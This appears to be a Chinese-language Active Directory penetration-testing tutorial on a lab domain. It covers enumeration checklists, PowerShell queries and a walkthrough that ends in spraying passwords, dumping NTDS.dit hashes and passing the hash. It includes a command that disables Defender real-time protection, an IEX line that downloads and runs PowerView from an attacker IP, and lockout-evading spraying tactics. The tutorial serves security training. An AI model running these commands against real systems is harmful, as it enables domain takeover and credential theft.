經過 22 天的學習,我們已經掌握許多 Active Directory 攻擊技巧。但實際滲透測試中,兩個關鍵概念常被忽略:
今天將深入探討這兩大主題,建立從「取得系統權限」到「控制整個網域」的完整思維。這些是在真實環境進行 AD 滲透測試的核心基礎。
在滲透測試的各個階段中,列舉(Enumeration)常被認為是最重要但也最容易被低估的技能。
滲透測試的真實流程
傳統認知(錯誤):
找漏洞 → 利用 → 取得權限 → 完成
實際流程(正確):
初步列舉 → 發現弱點 → 獲得立足點 → 深度列舉 →
尋找提權路徑 → 橫向移動 → 持續列舉 → 達成目標
列舉貫穿整個滲透測試過程!
為什麼列舉如此重要?
1. 提供攻擊方向與策略
沒有充分列舉的後果:
1. 不知道目標環境的規模和複雜度
2. 不清楚哪些系統是關鍵資產
3. 找不到從 A 到 B 的路徑
4. 可能錯過最簡單的提權方式
充分列舉後:
1. 清楚了解整個 AD 架構
2. 知道哪些使用者和群組是關鍵
3. 發現多條可能的攻擊路徑
4. 可以選擇最隱蔽、最可靠的方法
2. 發現設定錯誤比找漏洞更有效
真實世界的安全問題分佈:
技術漏洞(需要 0-day 或未修補漏洞): 20%
設定錯誤(需要列舉才能發現): 60%
社交工程(需要情報收集): 15%
實體安全(需要現場勘查): 5%
設定錯誤的例子:
1. 密碼寫在使用者描述欄位
2. 過度寬鬆的群組成員資格
3. 不當的委派設定
4. 錯誤的 ACL 設定
5. 未輪換的服務帳號密碼
6. 過時的信任關係
這些問題都不是「漏洞」,而是「錯誤設定」!
3. 為客戶提供真正的價值
滲透測試/紅隊演練報告的價值層級:
低價值報告:
「我們使用 XXX 漏洞攻破了你們的系統」
→ 客戶收穫:知道要打補丁
中價值報告:
「我們發現 5 個可被利用的弱點」
→ 客戶收穫:知道要修正哪些問題
高價值報告:
「我們進行了完整的 AD 健康檢查,發現:
- 327 個密碼永不過期的帳號
- 45 個服務帳號使用弱密碼
- 12 個不當的 ACL 設定
- 8 條可能的攻擊路徑
- 詳細的修復建議和優先順序」
→ 客戶收穫:全面了解安全狀況,知道如何改善
理解企業環境的複雜性,可以幫助我們更好地進行列舉。
典型企業 AD 環境的演進歷程
Year 1-2: 初始建置期
1. 網域結構相對簡單
2. 使用者和群組數量適中
3. 政策相對一致
4. 管理相對容易
Year 3-5: 快速成長期
1. 員工數量增加 3-5 倍
2. 新增多個 OU 和子網域
3. 開始有臨時的「快速修正」
4. 出現第一批「被遺忘」的帳號
5. GPO 數量開始失控
Year 6-10: 累積問題期
1. 多次管理員更替
2. 沒有完整的文件記錄
3. 大量的歷史包袱
4. 複雜的群組巢狀關係
5. 數百個「不確定用途」的帳號
Year 10+: 混亂期
1. 沒有人完全了解整個環境
2. 害怕改動任何設定(可能會出問題)
3. 累積了上千個設定錯誤
4. 安全性問題層出不窮
5. 重新建置成本過高
真實案例:某金融機構的 AD 環境
基本資訊:
- 建置時間:2003 年(已使用 20 年)
- 網域數量:5 個(包含子網域和信任關係)
- 使用者帳號:25,000+
- 電腦帳號:15,000+
- 群組數量:8,000+
- GPO 數量:350+
- 服務帳號:500+
經過 3 週的深度列舉發現:
權限管理問題:
1. 280 個帳號有 Domain Admin 權限(應該只有 5-10 個)
2. 1,200+ 個帳號密碼永不過期
3. 65 個服務帳號使用相同密碼
4. 45 個已離職員工的帳號仍然啟用
5. 18 個「測試帳號」有生產環境存取權
設定錯誤:
1. 描述欄位中發現 35 組密碼
2. 120+ 個 ACL 設定錯誤(允許低權限使用者修改高權限物件)
3. 25 個不再使用的信任關係未移除
4. 8 個網域的密碼政策不一致
5. 所有工作站的本地管理員密碼相同
委派問題:
1. 12 個帳號設定了 Unconstrained Delegation
2. 35 個服務帳號有不必要的 SPN
3. 8 個帳號不需要 Kerberos 預認證
4. 150+ 個帳號有過度的 SeBackupPrivilege
網路存取:
1. 所有使用者可以 RDP 到 Jump Server
2. Domain Users 在 80+ 台伺服器有本地管理員權限
3. 5 個共享資料夾沒有存取控制
4. 所有員工可以存取生產環境的 SQL Server
評估結論:
一個普通的 Domain User 帳號,透過適當的列舉和攻擊鏈,
可以在 2 小時內獲得 Domain Admin 權限。
這個案例充分說明:列舉能發現的問題,遠比技術漏洞更多、更嚴重!
很多人誤以為列舉是「一次性」的動作,這是完全錯誤的認知。
正確的列舉思維:列舉 → 攻擊 → 列舉 → 攻擊 → ...
階段 1: 初始列舉(無憑證或低權限憑證)
1. 使用 LDAP NULL Bind
2. DNS 查詢
3. SMB NULL Session
4. NetBIOS 列舉
5. 收集基本資訊(網域名稱、DC、使用者列表)
↓ 發現第一個可利用點
階段 2: 獲得立足點
1. 密碼噴灑成功
2. AS-REP Roasting
3. 描述欄位發現密碼
4. 取得一個 Domain User 憑證
↓ 使用新憑證進行第二輪列舉
階段 3: 深度列舉(使用 Domain User 憑證)
1. 完整的 LDAP 查詢
2. 執行 BloodHound 收集
3. 檢查 ACL 權限
4. 列舉共享資料夾
5. 發現多條可能的路徑
↓ 選擇最佳路徑進行攻擊
階段 4: 橫向移動
1. Kerberoasting 破解服務帳號
2. 利用 ACL 錯誤設定
3. 取得某台伺服器的存取權
4. 獲得 SYSTEM 權限
↓ 從新主機進行第三輪列舉
階段 5: 擴大控制範圍
1. 從記憶體提取更多憑證
2. Token 模擬攻擊
3. 存取新的共享資料夾
4. 發現關鍵的服務帳號
5. 找到通往 DA 的路徑
↓ 繼續迭代直到達成目標
階段 N: 網域控制
- Domain Admin 權限取得
實際案例:從低權限到 DA 的迭代過程
目標環境:INLANEFREIGHT.LOCAL
起始權限:無(從外部網路開始)
迭代 1: 外部列舉
1. 執行 nmap 掃描
2. 發現開放的 SMB(445)和 LDAP(389)
3. 嘗試 LDAP NULL Bind - 成功!
4. 列舉到 2,500 個使用者帳號
5. 儲存使用者清單供後續使用
迭代 2: 初始存取嘗試
1. 對使用者清單進行密碼噴灑
2. 使用常見密碼:Summer2025!
3. 成功:發現 8 個使用者使用此密碼
4. 取得憑證:james.miller / Summer2025!
迭代 3: Domain User 列舉
1. 使用 james.miller 執行 BloodHound 收集
2. 檢查 james.miller 的群組成員資格
3. 發現:james.miller 在 "Help Desk" 群組
4. 發現:"Help Desk" 群組對 OU=Workstations 有 GenericAll
5. 但這不是最快的路徑...
迭代 4: 尋找其他機會
1. 列舉所有使用者的描述欄位
2. 發現:svc-backup 的描述包含 "P@ssw0rd: Backup2025!"
3. 驗證憑證 - 成功!
4. 檢查 svc-backup 的權限
5. 發現:svc-backup 在 "Backup Operators" 群組
迭代 5: 利用 Backup Operators
1. 使用 svc-backup 登入任一網域成員主機
2. 由於 Backup Operators 身份,可以讀取 DC 上的檔案
3. 使用 diskshadow 建立 DC 的 shadow copy
4. 複製 NTDS.dit 和 SYSTEM hive
5. 下載到攻擊機進行離線處理
迭代 6: 提取網域 hash
1. 使用 secretsdump.py 提取 NTDS.dit
2. 取得所有使用者的 NT hash
3. 包含 Domain Admin 帳號的 hash
4. 使用 Pass-the-Hash 獲得 Domain Admin 存取
總耗時:約 4 小時
關鍵:每次獲得新資訊或新憑證,都要重新列舉!
專業的滲透測試人員會使用系統化的方法進行列舉,而不是「想到什麼查什麼」。
完整的 AD 列舉檢查清單(Checklist)
第一級:網域基本資訊
- 網域名稱(FQDN)
- NetBIOS 名稱
- 網域功能等級(Domain Functional Level)
- 樹系功能等級(Forest Functional Level)
- DC 數量和位置
- 子網域和信任關係
- 網域 SID
第二級:使用者列舉
- 所有網域使用者清單(包含屬性)
- 啟用的使用者數量
- 停用的使用者數量
- 密碼永不過期的使用者
- 密碼可以為空的使用者(PASSWD_NOTREQD)
- 不需 Kerberos 預認證的使用者
- 有 SPN 的使用者(Kerberoasting 目標)
- 描述欄位非空的使用者(可能有密碼)
- 最近未登入的使用者(殭屍帳號)
- adminCount=1 的使用者(特權使用者)
- 委派設定的使用者
- 在 Protected Users 群組的使用者
- 有異常 UAC 設定的使用者
第三級:群組列舉
- 所有網域群組清單
- 特權群組成員(Domain Admins, Enterprise Admins 等)
- 自訂群組及其用途
- 群組巢狀關係
- 空群組(可能未清理)
- adminCount=1 的群組
- 外部群組成員(來自信任網域)
第四級:電腦列舉
- 所有網域電腦清單
- DC 清單
- 伺服器清單(依角色分類)
- 工作站清單
- 作業系統版本分佈
- 啟用的電腦
- 停用的電腦
- 有委派設定的電腦
- 有舊版作業系統的電腦(Windows 7, 2008)
- SMB 簽章未啟用的電腦
第五級:政策與設定
- 預設網域密碼政策
- 最小密碼長度
- 密碼複雜度要求
- 密碼歷史記錄
- 最短/最長密碼使用期限
- 帳號鎖定政策
- 精細密碼政策(Fine-Grained Password Policy)
- 所有 GPO 清單
- GPO 連結關係
- 登錄檔政策
- 安全性設定
第六級:網路與服務
- 所有 SPN 清單
- DNS 記錄
- 共享資料夾列舉
- 可匿名存取的共享
- 列印伺服器
- SQL Server 實例
- Exchange Server
- 網頁應用程式
- 其他關鍵服務
第七級:安全性機制
- LAPS 部署狀況
- Microsoft Defender for Identity(以前的 ATA)
- AppLocker 政策
- Windows Firewall 設定
- PowerShell Logging
- Audit 政策
- EDR/AV 部署狀況
第八級:權限與 ACL
- 自己的權限範圍
- 不當的 ACL 設定
- 誰可以修改 GPO
- 誰可以重設密碼
- 誰可以修改群組成員
- 誰可以建立/刪除物件
- 特殊的委派權限
第九級:攻擊面識別
- 可能的 AS-REP Roasting 目標
- 可能的 Kerberoasting 目標
- 可能的 NTLM Relay 目標
- 過度寬鬆的 RDP 權限
- 過度寬鬆的本地管理員權限
- 可利用的 ACL 路徑
- 可利用的群組巢狀路徑
第十級:情報收集
- 組織架構(從 OU 結構推測)
- 命名規則(使用者、電腦、群組)
- 重要專案或系統(從物件名稱推測)
- 管理員習慣(從登入時間、主機存取模式分析)
- 可能的業務關鍵資產
自動化列舉工具對照表
工具功能對照
基本列舉:
- BloodHound (SharpHound / BloodHound.py)
- 最強大的 AD 關係視覺化工具
- PowerView (PowerSploit)
- 功能最完整的 PowerShell 列舉工具
- ldapsearch / ldapsearch-ad.py
- 靈活的 LDAP 查詢工具
- windapsearch
- 簡化的 LDAP 列舉工具
- ADRecon
- 全面的 AD 報告生成工具
內建工具:
- PowerShell AD Module
- Get-ADUser, Get-ADComputer, Get-ADGroup 等
- net.exe
- net user /domain, net group /domain 等
- dsquery / dsget
- DS Command-Line Tools
- nltest
- 信任關係和 DC 列舉
特定功能:
- PingCastle
- AD 健康檢查和風險評估
- ADExplorer (Sysinternals)
- AD 物件瀏覽器
- Adalanche
- AD ACL 視覺化
- PlumHound
- BloodHound 資料分析和報告
當我們在 Active Directory 環境中成功取得第一個進入點(可能是一組帳號密碼或是一台電腦的存取權限),第一時間要做的就是系統化地收集情報。這就像是闖入一棟大樓後,要先搞清楚這棟樓有幾層、有幾個出入口、管理室在哪裡一樣。
首先,我們使用 Evil-WinRM 這個工具來遠端連接到 DC(網域控制站):
evil-winrm -i 192.168.139.11 \
-u catelyn.stark \
-p 'robbsansabradonaryarickon'
這個指令的意思是:
-i 192.168.139.11
:目標伺服器的 IP 位址-u catelyn.stark
:使用的帳號名稱-p 'robbsansabradonaryarickon'
:該帳號的密碼連進去之後,我們要馬上收集以下關鍵資訊:
Get-ADDomain | Select-Object DNSRoot, NetBIOSName, DomainMode, PDCEmulator, RIDMaster
這個指令會輸出:
DNSRoot : north.sevenkingdoms.local
NetBIOSName : NORTH
DomainMode : Windows2016Domain
PDCEmulator : winterfell.north.sevenkingdoms.local
RIDMaster : winterfell.north.sevenkingdoms.local
欄位說明:
欄位 | 白話解釋 |
---|---|
DNSRoot | 這個網域的完整名稱是 north.sevenkingdoms.local ,就像公司的網址 |
NetBIOSName | 這個網域的簡稱叫 NORTH ,比較短、好記 |
DomainMode | 使用 Windows Server 2016 的網域功能,代表這個網域比較新 |
PDCEmulator | winterfell 這台伺服器負責處理密碼變更、時間同步等重要工作 |
RIDMaster | winterfell 這台伺服器負責分配帳號的唯一編號(像是身分證字號產生器) |
為什麼這很重要?
Get-ADForest | Select-Object Name, ForestMode, RootDomain, Domains
這個指令會輸出:
Name : sevenkingdoms.local
ForestMode : Windows2016Forest
RootDomain : sevenkingdoms.local
Domains : {north.sevenkingdoms.local, sevenkingdoms.local}
欄位說明:
欄位 | 白話解釋 |
---|---|
Name | 整個組織的最頂層網域叫 sevenkingdoms.local (集團總公司) |
ForestMode | 使用 Windows Server 2016 等級的樹系 |
RootDomain | 最頂層的網域是 sevenkingdoms.local |
Domains | 這個組織有 2 個網域:north.sevenkingdoms.local (子公司)和 sevenkingdoms.local (總公司) |
為什麼這很重要?
Get-ADDomainController -Filter * | Select-Object Name, IPv4Address, OperatingSystem, Site
這個指令會輸出:
Name : WINTERFELL
IPv4Address: 192.168.58.146
OperatingSystem: Windows Server 2019 Datacenter Evaluation
Site : Default-First-Site-Name
欄位說明:
欄位 | 白話解釋 |
---|---|
Name | 這台 DC 叫 WINTERFELL |
IPv4Address | 這台伺服器的 IP 是 192.168.58.146 |
OperatingSystem | 執行的是 Windows Server 2019 資料中心評估版 |
Site | 位於預設站台(通常代表只有一個辦公室) |
為什麼這很重要?
從上面三個指令,我們可以快速了解:
組織架構:
關鍵目標:
WINTERFELL
是子網域的 DC192.168.58.146
攻擊路徑:
下一步該做什麼?
這就像是拿到一張建築平面圖,我們現在知道:
密碼政策就像是一棟大樓的保全規則,告訴我們「密碼要多複雜」、「錯幾次會被鎖帳號」、「多久要換一次密碼」。對攻擊者來說,這些資訊非常關鍵,因為它決定了我們該用什麼方式攻擊。
Get-ADDefaultDomainPasswordPolicy
範例輸出:
ComplexityEnabled : False
DistinguishedName : DC=north,DC=sevenkingdoms,DC=local
LockoutDuration : 00:05:00
LockoutObservationWindow : 00:05:00
LockoutThreshold : 5
MaxPasswordAge : 37201.00:00:00
MinPasswordAge : 1.00:00:00
MinPasswordLength : 5
objectClass : {domainDNS}
objectGuid : d61e8e95-ecee-43ba-92f7-47ad34b8cbbe
PasswordHistoryCount : 24
ReversibleEncryptionEnabled : False
欄位 | 意思 | 範例值說明 |
---|---|---|
ComplexityEnabled | 是否要求密碼複雜度 | False = 不需要複雜密碼(可以設定 12345678 ) |
MinPasswordLength | 密碼最短長度 | 5 = 最短只要 5 個字(很弱!) |
LockoutThreshold | 錯幾次會被鎖定 | 5 = 輸錯 5 次就鎖帳號 |
LockoutDuration | 鎖定多久 | 00:05:00 = 鎖 5 分鐘 |
LockoutObservationWindow | 錯誤次數計算時間窗 | 00:05:00 = 5 分鐘內錯 5 次才會鎖 |
MaxPasswordAge | 密碼最長使用期限 | 37201.00:00:00 = 大約 102 年(基本上不用換) |
MinPasswordAge | 密碼最短使用期限 | 1.00:00:00 = 改完密碼至少要用 1 天才能再改 |
PasswordHistoryCount | 記錄幾組舊密碼 | 24 = 新密碼不能跟前 24 組重複 |
ReversibleEncryptionEnabled | 是否用可逆加密儲存密碼 | False = 不用(如果是 True 就危險了) |
有些公司會對不同部門設定不同的密碼規則,例如:
# 查看所有精細密碼政策
Get-ADFineGrainedPasswordPolicy -Filter * | Select-Object Name, MinPasswordLength, LockoutThreshold
# 查看哪些使用者或群組套用精細政策
Get-ADFineGrainedPasswordPolicySubject -Identity "VIP_Users_Policy"
密碼政策直接決定我們能用什麼攻擊手法,以及攻擊的風險有多高。
LockoutThreshold = 0(無鎖定)
↓
可以無限次嘗試密碼
↓
攻擊選項:
├── 暴力破解(Brute Force):逐一嘗試所有可能組合
├── 字典攻擊(Dictionary Attack):用常見密碼清單測試
└── 密碼噴灑(Password Spraying):用一組密碼測試所有帳號
實際案例:
如果 LockoutThreshold = 0
,我們可以對同一個帳號瘋狂測試:
admin:Password123
admin:Welcome2025
admin:Summer2025
LockoutThreshold = 5(錯 5 次就鎖)
LockoutObservationWindow = 00:05:00(5 分鐘內)
LockoutDuration = 00:30:00(鎖 30 分鐘)
↓
每個帳號只能嘗試 4 次密碼(保留 1 次容錯)
↓
攻擊策略:密碼噴灑(Password Spraying)
├── 步驟 1:收集所有使用者帳號清單
├── 步驟 2:選一組常見密碼(例如:Summer2025)
├── 步驟 3:對所有帳號測試這一組密碼
├── 步驟 4:等待超過 LockoutObservationWindow(5 分鐘)
└── 步驟 5:換下一組密碼重複測試
實際案例:
假設公司有 1000 個帳號,我們用密碼噴灑:
Summer2025
測試全部 1000 個帳號Welcome2025
測試全部 1000 個帳號Company2025
測試全部 1000 個帳號這樣每個帳號只被測試 3 次,不會觸發鎖定!
MinPasswordLength = 5(只要 5 個字)
ComplexityEnabled = False(不用複雜密碼)
↓
使用者可能設定超簡單的密碼
↓
常見弱密碼:
├── 12345
├── admin
├── password
├── welcome
└── 公司名稱
攻擊策略:
使用精簡字典檔,只包含 5-8 個字的常見密碼,破解速度超快!
MaxPasswordAge = 999 天(或更久)
↓
使用者可能用同一組密碼用了好幾年
↓
這組密碼可能已經:
├── 在其他網站被洩露(資料外洩)
├── 被寫在便利貼上
├── 被前員工知道
└── 在暗網資料庫裡
攻擊策略:
使用已洩露密碼資料庫(Have I Been Pwned、RockYou 等),測試這些舊密碼!
ComplexityEnabled = False
↓
不需要:
├── 大寫字母
├── 小寫字母
├── 數字
└── 特殊符號
↓
使用者傾向設定全小寫、純數字等簡單密碼
常見弱密碼範例:
summer2025
(季節 + 年份)welcome123
(歡迎 + 數字)password
(就是密碼這個字)companyname
(公司名稱)MinPasswordLength: 5
ComplexityEnabled: False
LockoutThreshold: 0
MaxPasswordAge: 999 天
攻擊策略:
admin
, 12345
, password
, welcome
MinPasswordLength: 8
ComplexityEnabled: True
LockoutThreshold: 5
LockoutObservationWindow: 5 分鐘
MaxPasswordAge: 90 天
攻擊策略:
Summer2025!
Welcome@123
Password1!
Company@2025
MinPasswordLength: 15
ComplexityEnabled: True
LockoutThreshold: 3
LockoutObservationWindow: 30 分鐘
MaxPasswordAge: 30 天
攻擊策略:
發現 | 攻擊者的解讀 | 建議手法 |
---|---|---|
LockoutThreshold = 0 | 可以無限嘗試 | 暴力破解、字典攻擊 |
MinPasswordLength ≤ 7 | 密碼可能很短 | 使用短字典檔 |
ComplexityEnabled = False | 密碼可能很簡單 | 測試純小寫、純數字 |
MaxPasswordAge > 365 天 | 密碼很久沒換 | 使用洩露密碼資料庫 |
LockoutThreshold ≤ 5 | 要小心觸發鎖定 | 密碼噴灑(間隔攻擊) |
記住:密碼政策是攻擊者的情報寶庫,它告訴我們「這間公司對安全性有多重視」以及「我們該怎麼攻擊」!
3. 快速使用者清單
# 取得所有使用者(基本資訊)
Get-ADUser -Filter * | Select-Object SamAccountName, Enabled | Format-Table -AutoSize
SamAccountName Enabled
-------------- -------
Administrator True
Guest False
vagrant True
krbtgt False
SEVENKINGDOMS$ True
arya.stark True
eddard.stark True
catelyn.stark True
robb.stark True
sansa.stark True
brandon.stark True
rickon.stark True
hodor True
jon.snow True
samwell.tarly True
jeor.mormont True
sql_svc True
john True
# 統計資訊
$users = Get-ADUser -Filter *
Write-Host "總使用者數: $($users.Count)"
Write-Host "啟用的使用者: $(($users | Where-Object {$_.Enabled -eq $true}).Count)"
Write-Host "停用的使用者: $(($users | Where-Object {$_.Enabled -eq $false}).Count)"
#輸出
總使用者數: 18
啟用的使用者: 16
停用的使用者: 2
# 取得特權使用者(adminCount=1)
Get-ADUser -LDAPFilter "(adminCount=1)" -Properties adminCount |
Select-Object SamAccountName, DistinguishedName |
Format-Table -AutoSize
# 這會列出所有曾經(或現在)是特權群組成員的使用者
SamAccountName DistinguishedName
-------------- -----------------
Administrator CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local
vagrant CN=vagrant,CN=Users,DC=north,DC=sevenkingdoms,DC=local
krbtgt CN=krbtgt,CN=Users,DC=north,DC=sevenkingdoms,DC=local
eddard.stark CN=eddard.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
catelyn.stark CN=catelyn.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
robb.stark CN=robb.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
john CN=john,CN=Users,DC=north,DC=sevenkingdoms,DC=local
4. 關鍵群組成員
# Domain Admins
Get-ADGroupMember "Domain Admins" | Select-Object Name, SamAccountName, objectClass
# 輸出
Name SamAccountName objectClass
---- -------------- -----------
Administrator Administrator user
eddard.stark eddard.stark user
# Enterprise Admins(僅在根網域)
Get-ADGroupMember "Enterprise Admins" | Select-Object Name, SamAccountName
# Administrators(內建 Administrators 群組)
Get-ADGroupMember "Administrators" | Select-Object Name, SamAccountName
# 其他重要群組
$importantGroups = @(
"Schema Admins",
"Backup Operators",
"Account Operators",
"Server Operators",
"Print Operators",
"DNSAdmins",
"Group Policy Creator Owners"
)
foreach ($group in $importantGroups) {
Write-Host "`n=== $group ===" -ForegroundColor Cyan
Get-ADGroupMember $group -ErrorAction SilentlyContinue |
Select-Object Name, SamAccountName |
Format-Table -AutoSize
}
5. 電腦清單與統計
# 所有電腦
Get-ADComputer -Filter * -Properties OperatingSystem, LastLogonDate |
Select-Object Name, OperatingSystem, LastLogonDate |
Format-Table -AutoSize
# 輸出
Name OperatingSystem LastLogonDate
---- --------------- -------------
WINTERFELL Windows Server 2019 Datacenter Evaluation 9/28/2025 1:22:43 AM
CASTELBLACK Windows Server 2019 Datacenter Evaluation 9/28/2025 1:22:39 AM
# 依作業系統分類統計
Get-ADComputer -Filter * -Properties OperatingSystem |
Group-Object OperatingSystem |
Select-Object Count, Name |
Sort-Object Count -Descending
# 輸出
Count Name
----- ----
2 Windows Server 2019 Datacenter Evaluation
# 危險範例輸出:
Count Name
----- ----
150 Windows 10 Enterprise
45 Windows Server 2019 Standard
30 Windows 11 Enterprise
12 Windows Server 2016 Standard
5 Windows 7 Professional ← 注意老舊系統
3 Windows Server 2008 R2 Standard ← 高風險
# 找出 Domain Controllers
Get-ADComputer -Filter {PrimaryGroupID -eq 516} -Properties OperatingSystem |
Select-Object Name, DNSHostName, OperatingSystem
Name DNSHostName OperatingSystem
---- ----------- ---------------
WINTERFELL winterfell.north.sevenkingdoms.local Windows Server 2019 Datacenter Evaluation
# 找出伺服器(依 OU 或名稱規則)
Get-ADComputer -Filter * -SearchBase "OU=Servers,DC=inlanefreight,DC=local" |
Select-Object Name
"Quick Wins" 是指那些可以迅速提升我們權限或擴大存取範圍的機會。
Quick Win 類型 1:描述欄位中的密碼
# 搜尋描述欄位中可能的密碼
Get-ADUser -Filter * -Properties Description |
Where-Object {$_.Description -match "password|pwd|pass|pw"} |
Select-Object SamAccountName, Description |
Format-Table -AutoSize
# 更精確的搜尋(排除常見的無關描述)
Get-ADUser -Filter * -Properties Description |
Where-Object {
$_.Description -ne $null -and
$_.Description -notmatch "^(Built-in|Default|System)" -and
$_.Description.Length -gt 0
} |
Select-Object SamAccountName, Description |
Format-Table -Wrap
# 輸出
SamAccountName Description
-------------- -----------
vagrant Vagrant User
krbtgt Key Distribution Center Service Account
arya.stark Arya Stark
eddard.stark Eddard Stark
catelyn.stark Catelyn Stark
robb.stark Robb Stark
sansa.stark Sansa Stark
brandon.stark Brandon Stark
rickon.stark Rickon Stark
hodor Brainless Giant
jon.snow Jon Snow
samwell.tarly Samwell Tarly (Password : Heartsbane)
jeor.mormont Jeor Mormont
sql_svc sql service
# 危險範例輸出:
SamAccountName Description
-------------- -----------
svc-backup 備份服務帳號 - 密碼: Backup2025! 請勿更改
sql-admin SQL 管理帳號 (P@ssw0rd: SQLAdmin123)
temp-admin 臨時管理員 - 初始密碼 Welcome@2025
svc-monitoring 監控服務 // Pass: Monitor!234
為什麼會有人把密碼寫在描述欄位?
常見原因:
1. 建立服務帳號時,為了「暫時記錄」密碼
2. 多人管理環境,需要「共享」密碼
3. 設定文件遺失,描述成為「備註」欄位
4. 建立時標記為「臨時」,但從未更改
5. 管理員不知道描述欄位所有人都能讀取
現實情況:
在 10-20 年的老環境中,約 15-30% 會有此問題
Quick Win 類型 2:密碼永不過期的特權帳號
# 找出密碼永不過期的帳號
Get-ADUser -Filter {PasswordNeverExpires -eq $true} -Properties PasswordNeverExpires, PasswordLastSet, MemberOf |
Select-Object SamAccountName, PasswordLastSet, @{Name="Groups";Expression={$_.MemberOf -join "; "}} |
Format-Table -AutoSize
SamAccountName PasswordLastSet Groups
-------------- --------------- ------
Administrator 9/7/2025 8:53:08 AM CN=Group Policy Creator Owners,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
Guest CN=Guests,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
vagrant 5/12/2021 4:39:16 AM CN=Users,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
arya.stark 9/7/2025 10:32:29 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
eddard.stark 9/7/2025 10:32:33 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
catelyn.stark 9/7/2025 10:32:36 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
robb.stark 9/7/2025 10:32:38 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local
sansa.stark 9/7/2025 10:32:41 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
brandon.stark 9/7/2025 10:32:44 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
rickon.stark 9/7/2025 10:32:47 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
hodor 9/7/2025 10:32:50 AM CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
jon.snow 9/7/2025 10:32:52 AM CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
samwell.tarly 9/7/2025 10:32:54 AM CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local
jeor.mormont 9/7/2025 10:32:57 AM CN=Mormont,CN=Users,DC=north,DC=sevenkingdoms,DC=local; CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local
sql_svc 9/7/2025 10:32:59 AM
# 找出密碼永不過期且是特權使用者的帳號(高價值目標)
Get-ADUser -Filter {PasswordNeverExpires -eq $true -and adminCount -eq 1} -Properties PasswordNeverExpires, PasswordLastSet |
Select-Object SamAccountName, PasswordLastSet, Enabled |
Format-Table -AutoSize
# 輸出
SamAccountName PasswordLastSet Enabled
-------------- --------------- -------
Administrator 9/7/2025 8:53:08 AM True
vagrant 5/12/2021 4:39:16 AM True
eddard.stark 9/7/2025 10:32:33 AM True
catelyn.stark 9/7/2025 10:32:36 AM True
robb.stark 9/7/2025 10:32:38 AM True
# 不安全範例:
SamAccountName PasswordLastSet Enabled
-------------- --------------- -------
svc-sqlserver 2015-03-15 10:23:45 True ← 密碼 9 年未變!
admin-legacy 2012-08-01 14:32:11 True ← 密碼 12 年未變!
svc-backup 2018-11-20 09:15:33 True
Quick Win 類型 3:過度寬鬆的 RDP 權限
# 檢查哪些群組可以 RDP 到 DC
Get-ADGroupMember "Remote Desktop Users" | Select-Object Name, SamAccountName
# 使用 PowerView 檢查 RDP 存取(更全面)
Import-Module .\PowerView.ps1
Set-MpPreference -DisableRealtimeMonitoring $true
IEX(New-Object Net.WebClient).DownloadString('http://192.168.139.138:8000/PowerView.ps1')
# 找出所有有 RDP 權限的使用者/群組
Get-DomainGPOUserLocalGroupMapping -LocalGroup RDP |
Select-Object ObjectName, GPODisplayName, ComputerName |
Format-Table -AutoSize
# 檢查特定使用者的 RDP 權限
Get-DomainGPOUserLocalGroupMapping -Identity "current-user" -LocalGroup RDP
真實案例:RDP 權限過度寬鬆
案例 1:所有人都能 RDP 到 Jump Host
├── Domain Users 群組在 JumpHost 的 Remote Desktop Users 中
├── JumpHost 是 IT 管理員的主要工作站
├── 管理員經常在 JumpHost 登入
└── 攻擊路徑:
1. 任意 Domain User RDP 到 JumpHost
2. 使用 Mimikatz 等工具提取記憶體中的憑證
3. 獲得 Domain Admin 的憑證
4. 完成攻擊
案例 2:Help Desk 可以 RDP 到所有工作站
├── "Help Desk" 群組可以 RDP 到所有 OU=Workstations 的電腦
├── 其中包含高階主管的工作站
├── 高階主管經常連線到敏感系統
└── 攻擊路徑:
1. 滲透任一 Help Desk 成員帳號
2. RDP 到 CEO 的工作站
3. 等待 CEO 登入或從記憶體提取憑證
4. 使用 CEO 憑證存取敏感資料
Quick Win 類型 4:不當的群組巢狀成員資格
# 查看直接加入的成員(包含使用者和群組)
Get-DomainGroupMember -Identity "Remote Desktop Users" |
Select-Object MemberName, MemberObjectClass |
Format-Table -AutoSize
# 輸出
MemberName MemberObjectClass
---------- -----------------
Stark group
# 查看所有成員(展開巢狀群組
Get-DomainGroupMember -Identity "Remote Desktop Users" -Recurse -ErrorAction SilentlyContinue |
Where-Object {$_.MemberName -notlike "S-1-5-*"} |
Select-Object MemberName, MemberDistinguishedName |
Sort-Object MemberName -Unique |
Format-Table -AutoSize
# 輸出
MemberName MemberDistinguishedName
---------- -----------------------
arya.stark CN=arya.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
brandon.stark CN=brandon.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
catelyn.stark CN=catelyn.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
eddard.stark CN=eddard.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
